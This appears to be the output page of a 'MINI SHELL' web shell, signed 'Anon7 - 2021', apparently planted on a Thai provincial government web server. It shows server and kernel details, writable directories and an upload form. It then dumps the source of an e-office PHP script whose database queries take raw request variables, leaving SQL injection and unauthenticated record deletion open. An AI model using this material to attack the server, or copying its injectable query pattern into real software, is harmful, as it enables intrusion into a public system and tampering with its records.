MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/eoffice/application/document/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/eoffice/application/document/history_tool.php
<?
session_start();
include("../../config/config.inc.php");
include("../../common/function.php");
include("../../common/eoffice.inc.php");


if ($nowdocid == ""){ $nowdocid = $user_id ; } 
//function ที่ใช้แสดงวันที่แบบเต็ม ใช้ใน edocument
function fulltime_daythai($temp){
if($temp != "0000-00-00 00:00:00"){
	$month = array("ม.ค.", "ก.พ.", "มี.ค", "ม.ย", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย", "ต.ค.", "พ.ย.", "ธ.ค.");
	$temp1=explode(" ", $temp);
	$num = explode("-", $temp1[0]);			
	if($num[0] == "0000"){
	  $date = "ไม่ระบุ";
	} else {
	  $tyear = ($num[0] + 543);
	  $date = remove_zero($num[2])."&nbsp;".$month[$num[1] - 1 ]."&nbsp;".$tyear." ".substr($temp1[1],0,-3);	
	}

} else {
	$date = "ไม่ระบุ";
}
	return $date;
} ############### END function fulltime_daythai($temp){

if ($_SERVER[REQUEST_METHOD] == "POST"){ 
//	echo "<pre>";
//	print_r($_POST);
	$sql_update="
	UPDATE `doc_history` SET 
		staff_label='$staff_label',
		action_id='$action_id' 
	WHERE (`id`='$id')  
	";
$result2 = mysql_db_query($dbname , $sql_update)or die("Query line " . __LINE__ . " error<hr>".mysql_error());	
}

if($del_id){
	$del_id=$_GET[del_id];
	$sql_del="
		DELETE FROM `doc_history` WHERE (`id`='$del_id')  
	";
$result2 = mysql_db_query($dbname , $sql_del)or die("Query line " . __LINE__ . " error<hr>".mysql_error());	
}



$nowdocid=$_GET[doc_id];

if($nowdocid){$id_code="WHERE docid = '$nowdocid' ";}

$sql2_all =" SELECT * FROM doc_history  Inner Join history_actstatus ON doc_history.action_id = history_actstatus.id $id_code ORDER BY timerec";
$result2 = mysql_db_query($dbname , $sql2_all)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$all_rows=mysql_num_rows($result2);

if(!$hpage){$hpage="1";}

$perpage="80";

if(!$perpage){$perpage="20";}
$lasthpage=intval($all_rows/$perpage)+1;

$limit_start=($hpage-1)*$perpage;
$limit_code=" limit $limit_start , $perpage ";



$nonm=0;
$sql2=" SELECT 

history_actstatus.id as hid,
history_actstatus.actstatus,
history_actstatus.img,
doc_history.id as xid,
doc_history.docid,
doc_history.doc_reciveid,
doc_history.staffid,
doc_history.doc_owner,
doc_history.doc_status,
doc_history.timerec,
doc_history.doc_history,
doc_history.staff_label,
doc_history.owner_label,
doc_history.doc_action,
doc_history.action_id
 FROM doc_history  Inner Join history_actstatus ON doc_history.action_id = history_actstatus.id $id_code ORDER BY timerec DESC , history_actstatus.id ASC";
$sql2.=" $limit_code";

$result2 = mysql_db_query($dbname , $sql2)or die("Query line " . __LINE__ . " error<hr>".mysql_error());

?>


<table width="98%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#eeeeee">

<tr>
<td colspan="3" align="center">
	
<? if($hpage>"1"){?>
<a href="<?=$PHP_SELF?>?hpage=1">
<img src="../../images/page_div_icon/First.gif" border="0" /></a>
<? }else{?>
<img src="../../images/page_div_icon/xFirst.gif" border="0" />
<? }?>
&nbsp;
<? if($hpage>"1"){?>
<a href="<?=$PHP_SELF?>?hpage=<?=$hpage-1?>"> 
<img src="../../images/page_div_icon/Previous.gif" border="0"></a>
<? }else{?>
<img src="../../images/page_div_icon/xPrevious.gif" border="0" />
<? }?>
&nbsp;
<?=$hpage?>
/
<?=$lasthpage?>
&nbsp;
<? if($hpage<$lasthpage){?>
<a href="<?=$PHP_SELF?>?hpage=<?=$hpage+1?>">
<img src="../../images/page_div_icon/Next.gif" border="0" /></a>
<? }else{?>
<img src="../../images/page_div_icon/xNext.gif" border="0" />
<? }?>
&nbsp;
<? if($hpage<$lasthpage){?>
<a href="<?=$PHP_SELF?>?hpage=<?=$lasthpage?>"> 
<img src="../../images/page_div_icon/Last.gif"  border="0" /></a>
<? }else{?>
<img src="../../images/page_div_icon/xLast.gif" border="0">
<? }?>	

	</td>
</tr>

	<tr>
		<td valign="top" bgcolor="#CCCCCC"><strong>ประวัติกิจกรรมทะเบียนหนังสือ </strong></td>
	</tr>
	<tr>
		<td valign="top"><table width="100%" border="0" cellspacing="1" cellpadding="1">
			
			<tr>
				<td width="60" bgcolor="#F5F5F5"><strong>เวลา</strong></td>
				<td bgcolor="#F5F5F5"><strong>กิจกรรมทะเบียนหนังสือ</strong></td>
				<td bgcolor="#F5F5F5"><strong>หน่วยดำเนินการ</strong></td>
				<td bgcolor="#F5F5F5">&nbsp;</td>
				<td bgcolor="#F5F5F5">&nbsp;</td>
			</tr>
						
<?

while($rs2 = mysql_fetch_assoc($result2)){  ####### Start  SELECT * FROM doc_history WHERE docid =

?>







<FORM action="?hpage=<?=$hpage?>" name="post[<?=$rs2[id]?>]" method="post" enctype="multipart/form-data" >
<tr <? if($rs2[doc_action]=="del"){ echo "bgcolor=#FF0000"; } ?>>

<td>
<!--<?=$rs2[docid]?>-->
<?
if ( $rs2[action_id] == 500    ){
	if ($rs2[timerec]  != $historytime ){ echo " <img src='../../images/$rs2[img]'   /> ". fulltime_daythai($rs2[timerec]) ;  	}
}else{
	echo "<img src='../../images/$rs2[img]'   /> ". fulltime_daythai($rs2[timerec]) ;
} ######## if ( $rs2[action_id] == 300    ){ 
?>
<input name="id" type="hidden" value="<?=$rs2[xid]?>" />
<input name="hpage" type="hidden" id="hpage" value="<?=$_GET[hpage]?>" /></td>

<td> 
<?
//if ( $rs2[action_id] == 500    ){
//	if ($rs2[timerec]  != $historytime ){ echo " ". ($rs2[actstatus]) ;}
//  }else{
//	echo " ". ($rs2[actstatus]) ; 	
//} ######## if ( $rs2[action_id] == 300    ){ 
 
$historytime = $rs2[timerec] ;   
?>
<select name="action_id" id="action_id">
<?
$sql_action="select * from history_actstatus";
$result3 = mysql_db_query($dbname , $sql_action)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
while($select_rs=mysql_fetch_assoc($result3)){?>
<option value="<?=$select_rs[id]?>" <? if($select_rs[id]==$rs2[action_id]){echo "selected";}?>><?=$select_rs[actstatus]?></option>
<? }?>
</select></td>

<td><input name="staff_label" type="text" value="<?=$rs2[staff_label]?>" size="80"/>	</td>
<td><a href="?del_id=<?=$rs2[xid]?>&hpage=<?=$hpage?>"><img src="../../images/profile_sub.gif" width="9" height="9" border="0" /></a></td>
<td><input type="submit" name="Submit" value="Submit" /></td>
</tr>
</FoRM>
<?
} ## END while($rs2 = mysql_fetch_assoc($result2)){  ####### Start  SELECT * FROM doc_history WHERE docid =
?>		
	</table>
	

Anon7 - 2021